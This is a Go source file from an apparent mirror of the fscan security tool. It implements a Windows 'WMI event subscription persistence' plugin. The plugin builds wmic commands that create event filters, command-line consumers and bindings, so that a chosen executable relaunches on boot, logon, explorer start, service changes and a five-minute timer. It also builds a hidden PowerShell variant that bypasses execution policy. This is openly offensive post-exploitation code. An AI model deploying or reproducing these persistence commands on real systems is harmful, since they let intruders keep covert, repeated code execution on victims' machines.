mirror of
https://github.com/shadow1ng/fscan.git
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257 lines
9.3 KiB
Go
257 lines
9.3 KiB
Go
//go:build windows
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package winwmi
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import (
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"context"
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"fmt"
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"os"
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"path/filepath"
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"runtime"
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"strings"
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"github.com/shadow1ng/fscan/common"
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"github.com/shadow1ng/fscan/plugins/base"
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"github.com/shadow1ng/fscan/plugins/local"
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)
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// WinWMIPlugin Windows WMI事件订阅持久化插件 - 使用简化架构
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type WinWMIPlugin struct {
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*local.BaseLocalPlugin
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pePath string
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}
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// NewWinWMIPlugin 创建Windows WMI事件订阅持久化插件 - 简化版本
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func NewWinWMIPlugin() *WinWMIPlugin {
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// 从全局参数获取PE文件路径
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peFile := common.WinPEFile
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if peFile == "" {
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peFile = "" // 需要用户指定
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}
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metadata := &base.PluginMetadata{
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Name: "winwmi",
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Version: "1.0.0",
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Author: "fscan-team",
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Description: "Windows WMI事件订阅持久化插件，通过WMI事件触发器实现持久化",
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Category: "local",
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Tags: []string{"local", "persistence", "windows", "wmi"},
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Protocols: []string{"local"},
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}
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plugin := &WinWMIPlugin{
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BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
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pePath: peFile,
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}
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// 只支持Windows平台
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plugin.SetPlatformSupport([]string{"windows"})
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// 需要管理员权限修改WMI订阅
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plugin.SetRequiresPrivileges(true)
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return plugin
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}
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// Initialize 初始化插件
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func (p *WinWMIPlugin) Initialize() error {
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if p.pePath == "" {
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return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
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}
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// 检查目标文件是否存在
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if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
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return fmt.Errorf("PE文件不存在: %s", p.pePath)
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}
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// 检查文件类型
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if !p.isValidPEFile(p.pePath) {
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return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
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}
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return p.BaseLocalPlugin.Initialize()
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}
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// Scan 重写扫描方法以确保调用正确的ScanLocal实现
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func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
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return p.ScanLocal(ctx, info)
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}
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// ScanLocal 执行Windows WMI事件订阅持久化 - 简化版本
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func (p *WinWMIPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
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common.LogBase("开始Windows WMI事件订阅持久化...")
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wmiSubscriptions, err := p.createWMIEventSubscriptions(p.pePath)
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if err != nil {
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return &base.ScanResult{
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Success: false,
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Error: err,
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}, nil
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}
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common.LogInfo(fmt.Sprintf("创建了%d个WMI事件订阅持久化项:", len(wmiSubscriptions)))
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for i, subscription := range wmiSubscriptions {
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common.LogInfo(fmt.Sprintf("%d. %s", i+1, subscription))
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}
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result := &base.ScanResult{
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Success: true,
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Service: "WinWMI",
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Banner: fmt.Sprintf("Windows WMI事件订阅持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
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Extra: map[string]interface{}{
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"pe_file": p.pePath,
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"persistence_type": "wmi_event",
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"subscriptions_created": len(wmiSubscriptions),
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"wmi_subscriptions": wmiSubscriptions,
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},
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}
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return result, nil
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}
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func (p *WinWMIPlugin) createWMIEventSubscriptions(pePath string) ([]string, error) {
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absPath, err := filepath.Abs(pePath)
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if err != nil {
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return nil, fmt.Errorf("failed to get absolute path: %v", err)
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}
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var wmiSubscriptions []string
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baseName := filepath.Base(absPath)
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baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
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wmiEventConfigs := []struct {
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filterName string
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consumerName string
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bindingName string
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query string
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description string
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}{
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{
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filterName: fmt.Sprintf("SystemBootFilter_%s", baseNameNoExt),
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consumerName: fmt.Sprintf("SystemBootConsumer_%s", baseNameNoExt),
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bindingName: fmt.Sprintf("SystemBootBinding_%s", baseNameNoExt),
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query: "SELECT * FROM Win32_SystemConfigurationChangeEvent",
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description: "System Boot Event Trigger",
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},
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{
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filterName: fmt.Sprintf("ProcessStartFilter_%s", baseNameNoExt),
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consumerName: fmt.Sprintf("ProcessStartConsumer_%s", baseNameNoExt),
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bindingName: fmt.Sprintf("ProcessStartBinding_%s", baseNameNoExt),
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query: "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'",
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description: "Explorer Process Start Trigger",
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},
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{
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filterName: fmt.Sprintf("UserLogonFilter_%s", baseNameNoExt),
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consumerName: fmt.Sprintf("UserLogonConsumer_%s", baseNameNoExt),
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bindingName: fmt.Sprintf("UserLogonBinding_%s", baseNameNoExt),
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query: "SELECT * FROM Win32_LogonSessionEvent WHERE EventType=2",
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description: "User Logon Event Trigger",
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},
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{
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filterName: fmt.Sprintf("FileCreateFilter_%s", baseNameNoExt),
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consumerName: fmt.Sprintf("FileCreateConsumer_%s", baseNameNoExt),
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bindingName: fmt.Sprintf("FileCreateBinding_%s", baseNameNoExt),
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query: "SELECT * FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\Windows\\\\System32\\\\'",
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description: "File Creation Monitor Trigger",
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},
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{
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filterName: fmt.Sprintf("ServiceChangeFilter_%s", baseNameNoExt),
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consumerName: fmt.Sprintf("ServiceChangeConsumer_%s", baseNameNoExt),
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bindingName: fmt.Sprintf("ServiceChangeBinding_%s", baseNameNoExt),
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query: "SELECT * FROM Win32_ServiceControlEvent",
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description: "Service State Change Trigger",
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},
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}
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for _, config := range wmiEventConfigs {
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filterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`,
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config.filterName, config.query)
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consumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`,
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config.consumerName, absPath, absPath)
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bindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`,
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config.filterName, config.consumerName)
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wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Filter] %s", config.description, filterCmd))
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wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Consumer] %s", config.description, consumerCmd))
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wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Binding] %s", config.description, bindingCmd))
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}
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timerFilterName := fmt.Sprintf("TimerFilter_%s", baseNameNoExt)
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timerConsumerName := fmt.Sprintf("TimerConsumer_%s", baseNameNoExt)
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// timerBindingName := fmt.Sprintf("TimerBinding_%s", baseNameNoExt) // 不需要，移除未使用的变量
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timerQuery := "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'"
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timerFilterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`,
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timerFilterName, timerQuery)
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timerConsumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`,
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timerConsumerName, absPath, absPath)
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timerBindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`,
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timerFilterName, timerConsumerName)
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wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Filter] %s", timerFilterCmd))
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wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Consumer] %s", timerConsumerCmd))
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wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Binding] %s", timerBindingCmd))
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powershellWMIScript := fmt.Sprintf(`
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$filterName = "PowerShellFilter_%s"
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$consumerName = "PowerShellConsumer_%s"
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$bindingName = "PowerShellBinding_%s"
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$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
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Name = $filterName
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EventNameSpace = "root\cimv2"
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QueryLanguage = "WQL"
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Query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType=2"
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}
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$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
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Name = $consumerName
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CommandLineTemplate = '"%s"'
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ExecutablePath = "%s"
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}
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$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
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Filter = $Filter
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Consumer = $Consumer
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}`, baseNameNoExt, baseNameNoExt, baseNameNoExt, absPath, absPath)
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powershellCmd := fmt.Sprintf(`powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "%s"`, powershellWMIScript)
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wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[PowerShell WMI Setup] %s", powershellCmd))
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return wmiSubscriptions, nil
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}
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// isValidPEFile 检查是否为有效的PE文件
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func (p *WinWMIPlugin) isValidPEFile(filePath string) bool {
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ext := strings.ToLower(filepath.Ext(filePath))
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return ext == ".exe" || ext == ".dll"
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}
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// RegisterWinWMIPlugin 注册Windows WMI事件订阅持久化插件
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func RegisterWinWMIPlugin() {
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factory := base.NewSimplePluginFactory(
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&base.PluginMetadata{
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Name: "winwmi",
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Version: "1.0.0",
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Author: "fscan-team",
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Description: "Windows WMI事件订阅持久化插件，通过WMI事件触发器实现持久化",
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Category: "local",
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Tags: []string{"winwmi", "local", "persistence", "windows"},
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Protocols: []string{"local"},
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},
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func() base.Plugin {
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return NewWinWMIPlugin()
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},
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)
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base.GlobalPluginRegistry.Register("winwmi", factory)
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}
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// init 插件注册函数
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func init() {
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RegisterWinWMIPlugin()
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} |